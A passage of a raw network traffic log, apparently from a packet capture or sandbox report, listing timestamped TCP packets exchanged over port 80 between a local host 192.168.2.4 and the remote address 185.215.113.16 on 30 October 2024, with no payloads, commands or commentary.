Oct 30, 2024 12:36:35.676273108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676291943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676309109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676322937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676337957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676352978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676362038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676367998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676384926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676392078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676409960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676426888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676441908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676455975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676479101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676503897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676513910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676533937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676548958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676564932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676573992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676582098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676613092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676651001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676666975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676681042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676695108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676702023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676708937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676724911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676731110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676747084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676789045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676810980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676826000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676841021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676858902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676861048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676871061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676875114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676892042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676943064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.676961899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676985025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.676999092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677009106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677014112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677035093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677037954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677051067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677078009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677125931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677140951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677154064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677170992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677181005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677210093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677226067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677242994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677258015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677263975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677273989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677292109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677376032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677411079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677427053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677440882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677453041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677455902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677472115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677479982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677488089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677505016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677520990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677531004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677536964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677552938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677555084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677577972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677581072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677603960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677618027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677625895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677632093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677740097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677753925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677764893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677764893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677767992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677774906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677783012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677798033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677807093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677814960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677834034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677836895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677851915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677891016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677891970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677906990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677928925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.677963972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677977085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.677989960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678004026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678005934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678028107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678097010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678116083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678141117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678145885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678160906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678175926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678193092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678200006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678210974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678212881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678226948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678241968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678256035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678265095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678297997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678330898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678349018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678363085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678369999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678390026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678401947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678479910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678494930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678509951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678519964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678525925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678539991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678549051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678555965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678570032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678589106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678594112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678612947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678620100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678628922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678647041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678649902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678663015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678678036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678689957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678694010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678709030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678719044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678745031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.678899050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678914070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678929090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.678952932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.719762087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790337086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790366888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790471077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790533066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790549040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790563107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790610075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790638924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790654898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790676117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790700912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790703058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790712118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790718079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790733099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790746927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790767908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790783882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790791988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790808916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790824890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790848017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790901899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790915966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790930986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790942907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790946007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790961981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790970087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.790977001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.790992975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791007042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791007042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791024923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791042089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791045904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791058064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791068077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791099072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791117907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791132927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791146994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791162968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791167974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791177988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791198969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791245937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791269064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791284084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791299105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791309118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791341066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791366100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791380882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791395903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791410923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791413069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791425943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791435003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791443110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791460037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791466951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791484118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791500092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791507006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791517973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791533947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791538000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791610956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791625977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791639090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791646957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791655064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791671038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791680098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791690111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791692019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791804075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791826963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791827917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791843891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791858912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791878939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791894913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791909933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791910887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791929007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791946888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791950941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.791963100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.791977882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792001009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792025089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792026043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792092085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792108059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792125940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792186022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792201042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792216063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792222023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792239904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792256117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792268991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792275906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792289972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792303085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792305946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792327881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792336941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792351961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792366982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792375088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792468071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792505980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792512894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792529106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792548895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792552948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792567968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792583942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792593002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792613983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792628050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792634964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792694092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792718887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792815924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792830944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792845964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792861938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792865992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792898893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792907953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792922974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792937040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792948008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792952061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792962074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.792993069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.792998075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793020964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793020010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793036938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793050051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793052912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793092012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793123960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793138981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793154001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793168068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793176889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793184042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793205023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793248892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793273926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793287992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793303013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793317080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793318987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793332100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793339968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793348074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793354034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793365002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793386936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793401957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793416977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793432951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793505907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793520927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793534994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793550968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793560028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793577909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793615103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793629885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793648958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793683052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793699980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793714046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793718100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:35.793730021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:35.793745995 CET	80	49744	185.215.113.16	192.168.2.4
